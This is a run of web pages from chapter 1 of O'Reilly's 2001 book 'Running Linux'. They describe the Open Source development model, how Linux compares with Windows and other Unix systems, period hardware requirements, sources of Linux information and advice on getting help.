Open Source is a term that applies to software for which the source code--the inner workings of the program--is freely available for anyone to download, modify, and redistribute. Software covered under the GNU GPL, described in the previous section, fits into the category of Open Source. Not surprisingly, though, so does a lot of other software that uses copyright licenses similar, but not identical, to the GPL. For example, software that can be freely modified but that does not have the same strict requirements for redistribution as the GPL is also considered Open Source.

The so-called "Open Source development model" is a phenomenon that started with the Free Software Foundation and which was popularized with Linux. It's a totally different way of producing software that opens up every aspect of development, debugging, testing, and study to anyone with enough interest in doing so. Rather than relying upon a single corporation to develop and maintain a piece of software, Open Source allows the code to evolve, openly, in a community of developers and users who are motivated by desire to create good software, rather than simply make a profit.

O'Reilly & Associates, Inc., has published a book, Open Sources, which serves as a good introduction to the Open Source development model. It's a collection of essays about the Open Source process by leading developers (including Linus Torvalds and Richard Stallman) and was edited by Chris DiBona, Sam Ockman, and Mark Stone.

Open Source has received a lot of media attention, and some are calling the phenomenon the "next wave" in software development, which will sweep the old way of doing things under the carpet. It still remains to be seen whether that will happen, but there have been some encouraging events that make this outcome seem not so unlikely. For example, Netscape Corporation has released the code for their web browser as an Open Source project called Mozilla, and companies such as Sun Microsystems, IBM, and Apple have announced plans to release certain products as Open Source in the hopes that they will flourish in a community-driven software development effort.

Open Source has received a lot of media attention, and Linux is at the center at all of it. In order to understand where the Linux development mentality is coming from, however, it might make sense to take a look at how commercial Unix systems have traditionally been built.

In commercial Unix development houses, the entire system is developed with a rigorous policy of quality assurance, source and revision control systems, documentation, and bug reporting and resolution. Developers are not allowed to add features or to change key sections of code on a whim: they must validate the change as a response to a bug report and consequently "check in" all changes to the source control system, so that the changes can be backed out if necessary. Each developer is assigned one or more parts of the system code, and only that developer may alter those sections of the code while it is "checked out."

Internally, the quality assurance department runs rigorous test suites (so-called "regression tests") on each new pass of the operating system and reports any bugs. It's the responsibility of the developers to fix these bugs as reported. A complicated system of statistical analysis is employed to ensure that a certain percentage of bugs are fixed before the next release, and that the operating system as a whole passes certain release criteria.

In all, the process used by commercial Unix developers to maintain and support their code is very complicated, and quite reasonably so. The company must have quantitative proof that the next revision of the operating system is ready to be shipped--hence the gathering and analyzing of statistics about the operating system's performance. It's a big job to develop a commercial Unix system, often large enough to employ hundreds (if not thousands) of programmers, testers, documenters, and administrative personnel. Of course, no two commercial Unix vendors are alike, but you get the general picture.

With Linux, you can throw out the entire concept of organized development, source control systems, structured bug reporting, or statistical analysis. Linux is, and more than likely always will be, a hacker's operating system.[11]

[11]What we mean by "hacker" is a feverishly dedicated programmer--a person who enjoys exploiting computers and generally doing interesting things with them. This is in contrast to the common connotation of "hacker" as a computer wrongdoer or an outlaw.

Linux is primarily developed as a group effort by volunteers on the Internet from all over the world. There is no single organization responsible for developing the system. For the most part, the Linux community communicates via various mailing lists and web sites. A number of conventions have sprung up around the development effort: for example, programmmers wanting to have their code included in the "official" kernel should mail it to Linus Torvalds. He will test the code and include it in the kernel (as long as it doesn't break things or go against the overall design of the system, he will more than likely include it).

The system itself is designed with a very open-ended, feature-rich approach. While recently the number of new features and critical changes to the system has diminished, the general rule is that a new version of the kernel will be released about every few weeks (sometimes even more frequently than this). Of course, this is a very rough figure; it depends on several factors, including the number of bugs to be fixed, the amount of feedback from users testing prerelease versions of the code, and the amount of sleep that Linus has had that week.

Suffice it to say that not every single bug has been fixed and not every problem ironed out between releases. As long as the system appears to be free of critical or oft-manifesting bugs, it's considered "stable" and new revisions are released. The thrust behind Linux development is not an effort to release perfect, bug-free code; it's to develop a free implementation of Unix. Linux is for the developers, more than anyone else.

Anyone who has a new feature or software application to add to the system generally makes it available in an "alpha" stage--that is, a stage for testing by those brave users who want to bash out problems with the initial code. Because the Linux community is largely based on the Internet, alpha software is usually uploaded to one or more of the various Linux web sites (see Appendix A, "Sources of Linux Information"), and a message is posted to one of the Linux mailing lists about how to get and test the code. Users who download and test alpha software can then mail results, bug fixes, or questions to the author.

After the initial problems in the alpha code have been fixed, the code enters a "beta" stage, in which it's usually considered stable but not complete (that is, it works, but not all of the features may be present). Otherwise, it may go directly to a "final" stage in which the software is considered complete and usable. For kernel code, once it's complete, the developer may ask Linus to include it in the standard kernel, or as an optional add-on feature to the kernel.

Keep in mind these are only conventions--not rules. Some people feel so confident with their software that they don't need to release an alpha or test version. It's always up to the developer to make these decisions.

What happened to regression testing and the rigorous quality process? It's been replaced by the modality of "release early and release often." The users are the best testers, because they try out the software in a variety of environments and a host of demanding real-life applications that can't be easily duplicated by any software Quality Assurance group. One of the best features of this development and release model is that bugs (and security flaws) are often found, reported, and fixed within hours--not days or weeks.

You might be amazed that such a nonstructured system of volunteers programming and debugging a complete Unix system could get anything done at all. As it turns out, it's one of the most efficient and motivated development efforts ever employed. The entire Linux kernel was written from scratch, without employing any code from proprietary sources. A great deal of work was put forth by volunteers to port all the free software under the sun to the Linux system. Libraries were written and ported, filesystems developed, and hardware drivers written for many popular devices.

The Linux software is generally released as a distribution, which is a set of prepackaged software making up an entire system. It would be quite difficult for most users to build a complete system from the ground up, starting with the kernel, then adding utilities, and installing all necessary software by hand. Instead, there are a number of software distributions including everything you need to install and run a complete system. Again, there is no standard distribution; there are many, each with their own advantages and disadvantages. In this book, we describe how to install the Red Hat, SuSE, and Debian distributions, but this book can help you with any distribution you choose.

Despite the completeness of the Linux software, you still need a bit of Unix know-how to install and run a complete system. No distribution of Linux is completely bug-free, so you may be required to fix small problems by hand after installation.

1.7.1. Hints for Unix Novices

Installing and using your own Linux system doesn't require a great deal of background in Unix. In fact, many Unix novices successfully install Linux on their systems. This is a worthwhile learning experience, but keep in mind that it can be very frustrating to some. If you're lucky, you will be able to install and start using your Linux system without any Unix background. However, once you are ready to delve into the more complex tasks of running Linux--installing new software, recompiling the kernel, and so forth--having background knowledge in Unix is going to be a necessity. (Note, however, that many distributions of Linux are as easy to install and configure as Windows 98 and certainly easier than Windows NT.)

Fortunately, by running your own Linux system, you will be able to learn the essentials of Unix necessary to perform these tasks. This book contains a good deal of information to help you get started. Chapter 4, "Basic Unix Commands and Concepts" is a tutorial covering Unix basics, and Chapter 5, "Essential System Management" contains information on Linux system administration. You may wish to read these chapters before you attempt to install Linux at all; the information contained therein will prove to be invaluable should you run into problems.

Nobody can expect to go from being a Unix novice to a Unix system administrator overnight. No implementation of Unix is expected to run trouble and maintenance free. You must be aptly prepared for the journey that lies ahead. Otherwise, if you're new to Unix, you may become overly frustrated with the system.

1.7.2. Hints for Unix Gurus

Even those people with years of Unix programming and system-administration experience may need assistance before they are able to pick up and install Linux. There are still aspects of the system Unix wizards need to be familiar with before diving in. For one thing, Linux is not a commercial Unix system. It doesn't attempt to uphold the same standards as other Unix systems you may have come across, but in some sense, Linux is redefining the Unix world, by giving all other systems a run for their money. To be more specific, while stability is an important factor in the development of Linux, it's not the only factor.

More important, perhaps, is functionality. In many cases, new code will make it into the standard kernel even though it's still buggy and not functionally complete. The assumption is that it's more important to release code that users can test and use than delay a release until it's "complete." Nearly all Open Source software projects have an alpha release before they are completely tested. In this way, the Open Source community at large has a chance to work with the code, test it, and develop it further, while those who find the alpha code "good enough" for their needs can use it. Commercial Unix vendors rarely, if ever, release software in this manner.

If you have been a Unix system administrator for more than a decade, and have used every commercial Unix system under the sun (no pun intended), Linux may take some getting used to. The system is very modern and dynamic, with a new kernel release approximately every few months and new utilities constantly being released. One day your system may be completely up to date with the current trend, and the next day the same system is considered to be in the Stone Age.

With all of this dynamic activity, how can you expect to keep up with the ever-changing Linux world? For the most part, it's best to upgrade incrementally; that is, upgrade only those parts of the system that need upgrading, and then only when you think an upgrade is necessary. For example, if you never use Emacs, there is little reason to continuously install every new release of Emacs on your system. Furthermore, even if you are an avid Emacs user, there is usually no reason to upgrade it unless you find that some feature is missing that is in the next release. There is little or no reason to always be on top of the newest version of software.

We hope that Linux meets or exceeds your expectations of a home-brew Unix system. At the very core of Linux is the spirit of free software, of constant development, and of growth. The Linux community favors expansion over stability, and that is a difficult concept to swallow for many people, especially those steeped in the world of commercial Unix. You can't expect Linux to be perfect--nothing ever is in the free software world (or any other world, for that matter). However, we believe that Linux really is as complete and useful as any other implementation of Unix.

Previous | Home | Next
1.6. About Linux's Copyright | Book Index | 1.8. Differences Between Linux and Other Operating Systems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Differences Between Linux and Other Operating Systems (Running Linux)

 Running LinuxSearch this book
Previous Next

1.8. Differences Between Linux and Other Operating Systems

It's important to understand the differences between Linux and other operating systems, such as Windows 95/98, Windows NT, OS/2, and other implementations of Unix for the personal computer. First of all, it should be made clear that Linux will coexist happily with other operating systems on the same machine: that is, you can run Windows NT and OS/2 along with Linux on the same system without problems. There are even ways to interact between the various operating systems, as you'll see.

1.8.1. Why Use Linux?

Why use Linux instead of a commercial operating system? We could give you a thousand reasons. One of the most important, however, is that Linux is an excellent choice for personal Unix computing. If you're a Unix software developer, why use Windows at home? Linux will allow you to develop and test Unix software on your PC, including database and X applications. If you're a student, chances are that your university computing system runs Unix. With Linux, you can run your own Unix system and tailor it to your own needs. Installing and running Linux is also an excellent way to learn Unix if you don't have access to other Unix machines.

But let's not lose perspective. Linux isn't just for personal Unix users. It's robust and complete enough to handle large tasks, as well as distributed computing needs. Many businesses are moving to Linux in lieu of other Unix-based workstation environments. Linux has an excellent price-performance ratio, is one of the most stable and powerful operating systems available, and because of its Open Source nature, is completely customizable for your needs. Universities are finding Linux to be perfect for teaching courses in operating systems design. Larger commercial software vendors are starting to realize the opportunities a free operating system can provide.

1.8.2. Linux Versus Windows 95 and 98

It's not uncommon to run both Linux and Windows 95/98 on the same system. Many Linux users rely on Windows for applications such as word processing and productivity tools. While Linux provides its own analogs for these applications (for example, TeX), and commercial software support for Linux is increasing, there are various reasons why a particular user would want to run Windows as well as Linux. If your entire dissertation is written using Microsoft Word, you may not be able to easily convert it to TeX or some other format (although the Star Office suite for Linux can probably do the trick). There are many commercial applications for Windows that aren't available for Linux, and there's no reason why you can't use both.

As you might know, Windows 95 and 98 do not fully utilize the functionality of the x86 processor. On the other hand, Linux runs completely in the processor's protected mode and exploits all of the features of the machine, including multiple processors.

We could debate the pros and cons of Windows and Linux for pages on end. However, suffice it to say that Linux and Windows are completely different entities. Windows is inexpensive (compared to other commercial operating systems) and has a strong foothold in the PC computing world. No other operating system for the PC has reached the level of popularity of Windows, largely because the cost of these other operating systems is unapproachable for most personal computer users. Very few PC users can imagine spending a thousand dollars or more on the operating system alone. Linux, however, is free, and you finally have the chance to decide.

We will allow you to make your own judgments of Linux and Windows based on your expectations and needs. Linux is not for everybody. But if you have always wanted to run a complete Unix system at home, without the high cost of other Unix implementations for the PC, Linux may be what you're looking for.

There are tools available to allow you to interact between Linux and Windows. For example, it's easy to access Windows files from Linux. Development is proceeding on the Wine Windows emulator, which allows you to run many popular applications.

1.8.3. Linux Versus Windows NT

A number of other advanced operating systems are on the rise in the PC world. Specifically, Microsoft's Windows NT is becoming very popular for server computing.

Windows NT, like Linux, is a full multitasking operating system, supporting multiprocessor machines, several CPU architectures, virtual memory, networking, security, and so on. However, the real difference between Linux and Windows NT is that Linux is a version of Unix and hence benefits from the contributions of the Unix community at large.

There are many implementations of Unix from many vendors. There is a large push in the Unix community for standardization in the form of open systems, but no single corporation controls this design. Hence, any vendor (or, as it turns out, any hacker) may implement these standards in an implementation of Unix.

Windows NT, on the other hand, is a proprietary system. The interface and design are controlled by a single corporation, Microsoft, and only that corporation may implement the design. (Don't expect to see a free version of Windows NT anytime in the near future.) In one sense, this kind of organization is beneficial: it sets a strict standard for the programming and user interface unlike that found even in the open systems community. NT is NT wherever you go.

It seems likely that in the coming years, Linux and Windows NT will be battling it out for their share of the server computing market. Windows NT has behind it the full force of the Microsoft marketing machine, while Linux has a community of thousands of developers helping to advance the system through the Open Source model. So far, benchmarks of Linux versus Windows NT have demonstrated that each system has its strengths and weaknesses; however, Linux wins hands-down in a number of areas, most notably networking performance. Linux is also much smaller than Windows NT, has a much better price-performance ratio, and is generally seen as more stable. (While Windows NT is known to crash quite often, Linux machines run continuously for months.) It might seem amazing that "little" Linux gives Microsoft serious competition, but it's not surprising when you realize how effective the Open Source development process really is.

1.8.4. Other Implementations of Unix

There are several other implementations of Unix for the personal computer. The Intel x86 architecture lends itself to the Unix design, and a number of vendors have taken advantage of this, including Sun (with Solaris x86), SCO, and BSDI.

In terms of features, other implementations of Unix for the PC are quite similar to Linux. You will see that almost all commercial versions of Unix support roughly the same software, programming environment, and networking features. However, there are some major differences between Linux and commercial versions of Unix. This stems primarily from Linux's roots as a "personal" Unix system, rather than one that runs only on large servers (although Linux is perfectly at home in either environment).

First of all, Linux supports a much wider range of hardware than other Unix implementations, simply because there is more demand under Linux to support every crazy brand of sound, graphics, network, and SCSI board. Plus, under the Open Source model, anyone with enough time and interest to write a driver for a particular board is able to do so. We'll cover the hardware requirements for Linux in the next section.

The most important factor to consider for many users is price. The Linux software is free if you have access to the Internet (or another computer network) and can download it. If you do not have access to such a network, you may need to purchase it via mail order on CD-ROM, and such packages often include bundled documentation and support. Of course, you may copy Linux from a friend who may already have the software or share the cost of purchasing it with someone else. If you are planning to install Linux on a large number of machines, you need only purchase a single copy of the software; Linux is not distributed with a "single machine" license.

The value of commercial Unix implementations should not be demeaned: along with the price of the software itself, you usually pay for documentation, support, and assurance of quality. These are important factors for large institutions, but personal computer users may not require these benefits. A number of companies, including Red Hat and LinuxCare, are now providing commercial Linux support. Caldera, another Linux distributor, offers 24x7 support. In any case, many businesses and universities are finding that running Linux in a lab of inexpensive personal computers is preferable to running a commercial version of Unix in a lab of workstations. Linux can provide the functionality of a workstation on PC hardware at a fraction of the cost.

There are other free or inexpensive implementations of Unix for the x86. One of the most well known is FreeBSD, an implementation and port of BSD Unix for the 386. FreeBSD is comparable to Linux in many ways, but deciding which one is "better" depends on your own needs and expectations. The only strong distinction we can make is that Linux is developed openly (where any volunteer can aid in the development process), while FreeBSD is developed within a closed team of programmers who maintain the system. Because of this, serious philosophical and design differences exist between the two projects. The goals of the two projects are entirely different: the goal of Linux is to develop a complete Unix system from scratch (and have a lot of fun in the process), and the goal of FreeBSD is in part to modify the existing BSD code for use on the x86.

NetBSD is another port of the BSD NET/2 distribution to a number of machines, including the x86. NetBSD has a slightly more open development structure and is comparable to FreeBSD in many respects. OpenBSD is still another version of BSD.

Another project of note is the HURD, an effort by the Free Software Foundation to develop and distribute a free version of Unix for many platforms. Contact the Free Software Foundation for more information about this project. At the time of this writing, HURD is still in early stages of development and interest in it has been mostly superseded by Linux.

Other inexpensive versions of Unix exist as well, such as Minix (an academic but useful Unix clone upon which the early development of Linux was based). Some of these implementations are of mostly academic interest, while others are full-fledged systems for real productivity. But many personal Unix users are moving to Linux.

Previous | Home | Next
1.7. Open Source and the Philosophy of Linux | Book Index | 1.9. Hardware Requirements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Hardware Requirements (Running Linux)

 Running LinuxSearch this book
Previous Next

1.9. Hardware Requirements

Now, you must be convinced of how wonderful Linux is and of all the great things that it can do for you. However, before you rush out and install the software, you need to be aware of its hardware requirements and limitations.

Keep in mind that Linux was developed by its users. This means, for the most part, that the hardware supported by Linux is that which users and developers actually have access to. As it turns out, most of the popular hardware and peripherals for 80x86 systems are supported (in fact, Linux probably supports more hardware than any commercial implementation of Unix). However, some of the more obscure and esoteric devices, as well as those with proprietary drivers for which the manufacturers do not easily make the specifications available, aren't supported yet. As time goes on, a wider range of hardware will be supported, so if your favorite devices aren't listed here, chances are that support for them is forthcoming.

Another drawback for hardware support under Linux is that many companies have decided to keep the hardware interface proprietary. The upshot of this is that volunteer Linux developers simply can't write drivers for those devices (if they could, those drivers would be owned by the company that owned the interface, which would violate the GPL). The companies that maintain proprietary interfaces write their own drivers for operating systems, such as Microsoft Windows; the end user (that's you) never needs to know about the interface. Unfortunately, this does not allow Linux developers to write drivers for those devices.

Little can be done about the situation. In some cases, programmers have attempted to write hackish drivers based on assumptions about the interface. In other cases, developers work with the company in question and attempt to obtain information about the device interface, with varying degrees of success.

Linux includes a number of laptop-specific features, such as PCMCIA (or "PC Card") support and APM. The PCMCIA Tools package for Linux includes drivers for many PCMCIA devices, including modems, Ethernet cards, and SCSI adaptors; the PCMCIA HOWTO is the document that you need to get started.

APM allows the kernel to keep track of the laptop's battery power and perform certain actions (such as an automated shutdown) when power is low; it also allows the CPU to go into "low power" mode when not in use. This is easy to configure as a kernel option. Various tools interact with APM, such as apm (which displays information on battery status) and apmd (which logs battery status and can be used to trigger power events). These should be included with most Linux distributions.

In the following sections, we'll attempt to summarize the hardware requirements for Linux. The Linux Hardware HOWTO (see the section "Section 1.10, "Sources of Linux Information"" later in this chapter for an explanation of HOWTOs) contains a more complete listing of hardware supported by Linux.

NOTE

A good deal of hardware support for Linux is currently in the development stage. Some distributions may or may not support these experimental features. This section primarily lists hardware that has been supported for some time and is known to be stable. When in doubt, consult the documentation for the distribution of Linux you are using (see the section "Section 2.1, "Distributions of Linux"" in Chapter 2, "Preparing to Install Linux") for more information on Linux distributions).

Another caveat to watch out for: occasionally hardware suppliers will substitute the latest version of a system component (such as a network board) regardless of what you originally ordered. When in doubt, be sure to check the particular hardware that you have.

1.9.1. Motherboard and CPU Requirements

Linux currently supports systems with an Intel 80386, 80486, Pentium, Pentium Pro, Pentium II, and Pentium III CPU. This includes all variations on this CPU type, such as the 386SX, 486SX, 486DX, and 486DX2. Non-Intel "clones," such as AMD and Cyrix processors, work with Linux as well.

Linux has been ported to a number of non-Intel architectures. These include the Alpha AXP, MIPS, PowerPC, SPARC, and Motorola 68K. At the time of this writing, some of these ports are more mature than others. Red Hat ships both SPARC and Alpha versions of its distribution in addition to the Intel x86 versions, as does Debian. SuSE has an Alpha version at well, and Debian even provides a Motorola 68K distribution. (See Appendix E, "Installing Linux/m68k on Motorola 68000-Series Systems".) In this book, we concentrate on the version of Linux for Intel x86 systems. Apart from hardware requirements and basic installation you should find that the majority of this book is just as relevant to ports of Linux to other architectures.

If you have an older 80386 or 80486SX, you may also wish to use a math coprocessor, although one isn't required (the Linux kernel can do FPU emulation if you do not have a math coprocessor). All standard FPU couplings are supported, such as IIT, Cyrix FasMath, and Intel coprocessors.

The system motherboard must use ISA, EISA, PCI, or MicroChannel (MCA) bus architecture. These terms define how the system interfaces with peripherals and other components on the main bus.

Systems that use a local bus architecture (for faster video and disk access) are supported as well. It's suggested that you have a standard local bus architecture, such as the VESA Local Bus (VLB).

1.9.2. Memory Requirements

Linux requires very little memory to run compared to other advanced operating systems. You should have at the very least 8 MB of RAM; however, it's strongly suggested that you have at least 16 MB. The more memory you have, the faster the system will run.

Linux can support the full 32-bit address range of the 80x86; in other words, it will utilize all of your RAM automatically. Amounts of RAM greater than 64 MB need a boot-time parameter.

Linux will run happily with only 8 MB of RAM, including all of the bells and whistles such as the X Window System, Emacs, and so on. However, having more memory is almost as important as having a faster processor. Sixteen megabytes is just enough for personal use; 32 MB or more may be needed if you are expecting a heavy user load on the system. Linux systems can, of course support systems with very large amounts of memory--including 1 GB or more.

Most Linux users allocate a portion of their hard drive as swap space, which is used as virtual RAM. Even if you have a great deal of physical RAM in your machine, you may wish to use swap space. While swap space is no replacement for actual physical RAM, it allows your system to run larger applications by swapping out inactive portions of code to disk. The amount of swap space you should allocate depends on several factors; we'll come back to this question in the section "Section 2.2.3, "Linux Partition Requirements"" in Chapter 2, "Preparing to Install Linux".

1.9.3. Hard Drive Controller Requirements

You do not need a hard drive to run Linux, in fact; you can run a minimal system completely from floppy! However, using Linux with a hard disk is the standard way of doing things. Linux should support all MFM, RLL, and IDE controllers. Most, but not all, ESDI controllers are supported--only those which do ST506 hardware emulation.

The general rule for non-SCSI hard drive and floppy controllers is that if you can access the drive from Windows or another operating system, you should be able to access it from Linux.

Linux also supports a number of popular SCSI drive controllers, although support for SCSI is more limited because of the wide range of controller interface standards. Supported SCSI controllers include the Adaptec AHA2940, AHA3940 AHA1542B, AHA1542C, AHA1742A (BIOS Version 1.34), AHA1522, AHA1740 (SCSI-2 controller, BIOS Version 1.34 in Enhanced mode); Future Domain 1680, TMC-850, TMC-950; Seagate ST-02; UltraStor SCSI; and Western Digital WD7000FASST. Clones that are based on these cards should work as well. This list is just a sampling; the number of supported SCSI drives is too great to enumerate here.

1.9.4. Hard Drive Space Requirements

Of course, to install Linux, you'll need to have some free space on your hard drive. Linux will support multiple hard drives in the same machine; you can allocate space for Linux across multiple drives if necessary.

The amount of hard drive space you will require depends greatly on your needs and the amount of software you're installing. Linux is relatively small as Unix implementations go; you could run a complete system in 10 to 20 MB of space on your drive. However, if you want to have room for expansion, and for larger packages, such as the X Window System, you need more space. If you plan to allow multiple users to use the machine, you need to allocate storage for their files.

In addition, you'll more than likely want to allocate swap space on your hard drive to be used as virtual RAM. We will discuss the details of installing and using swap space in the section "Section 6.2, "Managing Swap Space"" in Chapter 6, "Managing Filesystems, Swap, and Devices".

Each distribution of Linux comes with some literature that should help you to gauge the precise amount of storage required depending on the amount of software you plan to install. You can run a minimal system with less than 20 MB; a complete system with all of the bells and whistles in 300 MB or less; and a very large system with room for many users and space for future expansion in 1 GB. Again, these figures are meant only as a ballpark approximation; you must look at your own needs and goals in order to determine your specific storage requirements.

1.9.5. Monitor and Video Adapter Requirements

Linux supports all standard Hercules, CGA, EGA, VGA, IBM monochrome, and Super VGA video cards and monitors for the default text-based interface. In general, if the video card and monitor coupling works under another operating system such as Windows, it should work fine with Linux. Original IBM CGA cards suffer from "snow" under Linux, which is unpleasant. (If you have one of these cards, you might want to donate it to a museum anyway.)

Graphical environments, such as the X Window System, have video hardware requirements of their own. Instead of listing these requirements here, we relegate the discussion to the section "Section 10.2, "Hardware Requirements"" in Chapter 10, "Installing the X Window System". In short, to run the X Window System on your Linux machine, you need one of the video cards listed in that section. The good news is that nearly all graphics boards (including high-end ones) are supported.

1.9.6. Miscellaneous Hardware

The previous sections described the hardware required to run a Linux system. However, most users have a number of "optional" devices such as tape and CD-ROM storage, sound boards, and so on, and are interested in whether or not this hardware is supported by Linux. Read on.

1.9.6.1. Mice and other pointing devices

For the most part, you will be using a mouse only under a graphical environment, such as the X Window System. However, several Linux applications not associated with a graphics environment also use a mouse.

Linux supports all standard serial mice, including Logitech, MM series, Mouseman, Microsoft (two-button), and Mouse Systems (three-button). Linux also supports Microsoft, Logitech, and ATIXL busmice. The PS/2 mouse interface is supported as well.

All other pointing devices, such as trackballs, which emulate the mice just listed, should work as well.

1.9.6.2. CD -ROM and DVD-ROM storage

Most CD-ROM drives sold today use the near-universal IDE/ATAPI CD-ROM standard, which is fully supported under Linux. Many CD-ROM drives use the SCSI interface instead, and as long as you have a SCSI adaptor supported by Linux, your CD-ROM drive should work.

Linux supports the standard ISO-9660 filesystem for CD-ROMs, including the Microsoft filename extensions.

In addition to the CD-ROM drives, Linux supports a number of CD-R and CD-RW drives that you can use to make your own CD-ROMs.

Various DVD-ROM drives are supported in Linux kernel version 2.2; however, filesystems allowing direct access to the DVD contents are not yet included. By the time you read this, we expect them to be fully supported.

1.9.6.3. Tape drives and removable storage

There are several types of tape drives available on the market. Many use the SCSI interface, all of which should be supported by Linux. QIC-02 and so-called "floppy tape" devices (which hang off of the floppy controller) are well-supported, as are various kinds of removable storage media, such as DAT, and the Iomega ZIP drive.

1.9.6.4. Printers

Linux supports the complete range of parallel printers. If you are able to access your printer via the parallel port from Windows or another operating system, you should be able to access it from Linux as well. The Linux printing software consists of the Unix standard lp and lpr software. This software also allows you to print remotely via the network, if you have one available.

1.9.6.5. Modems

As with printer support, Linux supports the full range of serial modems, both internal and external. If your modem is accessible from another operating system on the same machine, it is likely that you can access it from Linux with no difficulty. However, Linux does not support so-called "Winmodems," a kludge where the operating system has to take over many of the modem's tasks. In addition, some internal PCI modems are not supported.

1.9.7. Ethernet, Fast Ethernet, and Gigabit Ethernet Cards

Linux supports nearly every Ethernet and Fast Ethernet card available for the PC platform, and those that are not supported are more than likely being worked on as this is being written. Linux kernel Version 2.2 includes drivers for a number of high-performance network interfaces as well, including the Packet Engines G-NIC, Alteon AceNIC, and 3Com 3C985 PCI Gigabit Ethernet adaptors. A number of token ring and ATM interface cards are supported, as are various System Area Networks, such as Myricom's Myrinet.

Previous | Home | Next
1.8. Differences Between Linux and Other Operating Systems | Book Index | 1.10. Sources of Linux Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sources of Linux Information (Running Linux)

 Running LinuxSearch this book
Previous Next

1.10. Sources of Linux Information

As you have probably guessed, there are many sources of information about Linux available apart from this book.

1.10.1. Online Documents

If you have access to the Internet, you can get many Linux documents via web and anonymous FTP sites all over the world. If you do not have direct Internet access, these documents may still be available to you; many Linux distributions on CD-ROM contain all the documents mentioned here and are often available off the retail shelf. Also, they are distributed on many other networks, such as Fidonet and CompuServe.

There are a great number of web and FTP archive sites that carry Linux software and related documents. Appendix A, "Sources of Linux Information" contains a listing of some of the Linux documents available via the Internet.

Examples of available online documents are the Linux FAQ, a collection of frequently asked questions about Linux; the Linux HOWTO documents, each describing a specific aspect of the system--including the Installation HOWTO, the Printing HOWTO, and the Ethernet HOWTO; and the Linux META-FAQ, a list of other sources of Linux information on the Internet.

Most of these documents are also posted regularly to one or more Linux-related Usenet newsgroups; see the section "Section 1.10.3, "Usenet Newsgroups"" later in this chapter.

The Linux Documentation home page is available to web users at http://www.linuxdoc.org. This page contains many HOWTOs and other documents, as well as pointers to other sites of interest to Linux users, including the Linux Documentation Project manuals (see the following section).

1.10.2. Books and Other Published Works

The bibliography at the end of this book points you to a wealth of sources that will help you use your system. There are a number of published works specifically about Linux. Most noteworthy are the books from the Linux Documentation Project (LDP), a project carried out over the Internet to write and distribute a bona fide set of "manuals" for Linux. These manuals are analogs to the documentation sets available with commercial versions of Unix: they cover everything from installing Linux to using and running the system, programming, networking, kernel development, and more.

The Linux Documentation Project manuals are available via the Web, as well as via mail order from several sources. The Bibliography lists the manuals that are available and covers the means of obtaining them in detail. O'Reilly & Associates has published the Linux Network Administrator's Guide from the LDP.

Aside from the growing number of Linux books, there are a large number of books about Unix in general that are certainly applicable to Linux--as far as using and programming the system is concerned, Linux doesn't differ greatly from other implementations of Unix in most respects. In fact, this book is meant to be complemented by the large library of Unix books currently available; here, we present the most important Linux-specific details and hope you will look to other sources for more in-depth information.

Armed with a number of good books about using Unix, as well as the book you hold in your hands, you should be able to tackle just about anything. The Bibliography includes a list of highly recommended Unix books, for Unix newcomers and wizards alike.

There are at least two monthly magazines about Linux: Linux Journal and Linux Magazine. These are an excellent way to keep in touch with the many goings-on in the Linux community.

1.10.3. Usenet Newsgroups

Usenet is a worldwide electronic news and discussion forum with a heavy contingent of so-called "newsgroups"--discussion areas devoted to a particular topic. Much of the development of Linux has been done over the waves of the Internet and Usenet, and not surprisingly, there are a number of Usenet newsgroups available for discussions about Linux.

There are far too many newsgroups devoted to Linux to list here. The ones dealing directly with Linux are under the comp.os.linux.advocacy hierarchy, but you'll probably find others on related topis like comp.windows.x.

1.10.4. Internet Mailing Lists

If you have access to Internet electronic mail, you can participate in a number of mailing lists even if you do not have Usenet access. If you are not directly on the Internet, you can join one of these mailing lists as long as you are able to exchange electronic mail with the Internet. (For example, UUCP, Fidonet, CompuServe, and other networks all have access to Internet mail.)

Previous | Home | Next
1.9. Hardware Requirements | Book Index | 1.11. Getting Help
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Getting Help (Running Linux)

 Running LinuxSearch this book
Previous Next

1.11. Getting Help

You will undoubtedly require some degree of assistance during your adventures in the Linux world. Even the most wizardly of Unix wizards is occasionally stumped by some quirk or feature of Linux, and it's important to know how and where to find help when you need it.

The primary means of getting help in the Linux world are Internet mailing lists and Usenet newsgroups. If you don't have online access to these sources, you might be able to find comparable Linux discussion forums on other online services, such as on local BBSes, CompuServe, and so on.

A number of businesses provide commercial support for Linux. A "subscription fee" allows you to call consultants for help with your Linux problems. Several vendors provide commercial support. However, if you have access to Usenet and Internet mail, you may find the free support found there just as useful.

Keeping the following suggestions in mind should improve your experiences with Linux and guarantee you more success in finding help to your problems:

Consult all available documentation first.

The first thing to do when encountering a problem is consult the various sources of information listed in the previous section and Appendix A, "Sources of Linux Information". These documents were laboriously written for people like you--people who need help with the Linux system. Even books written for Unix in general are applicable to Linux, and you should take advantage of them. Impossible as it might seem, more than likely you will find the answer to your problems somewhere in this documentation.

If you have access to the Web, Usenet news, or any of the Linux-related mailing lists, be sure to actually read the information there before posting for help with your problem. Many times, solutions to common problems are not easy to find in documentation and are instead well-covered in the newsgroups and mailing lists devoted to Linux. If you only post to these groups, and don't actually read them, you are asking for trouble.

If you can't find what you're looking for, web search engines, and the DejaNews (http://www.dejanews.com) Usenet archive site are great places to start.

Learn to appreciate self-maintenance.

In most cases, it's preferable to do as much independent research and investigation into the problem as possible before seeking outside help. Remember that Linux is about hacking and fixing problems yourself. It's not a commercial operating system, nor does it try to look like one. Hacking won't kill you. In fact, it will teach you a great deal about the system to investigate and solve problems yourself--maybe even enough to one day call yourself a Linux guru. Learn to appreciate the value of hacking the system and fixing problems yourself. You can't expect to run a complete, home-brew Linux system without some degree of handiwork.

Remain calm.

It's vital to refrain from getting frustrated with the system. Nothing is earned by taking an axe--or worse, a powerful electromagnet--to your Linux system in a fit of anger. The authors have found that a large punching bag or similar inanimate object is a wonderful way to relieve the occasional stress attack. As Linux matures and distributions become more reliable, we hope that this problem will go away. However, even commercial Unix implementations can be tricky at times. When all else fails, sit back, take a few deep breaths, and go after the problem again when you feel relaxed. Your mind will be clearer, and your system will thank you.

Refrain from posting spuriously.

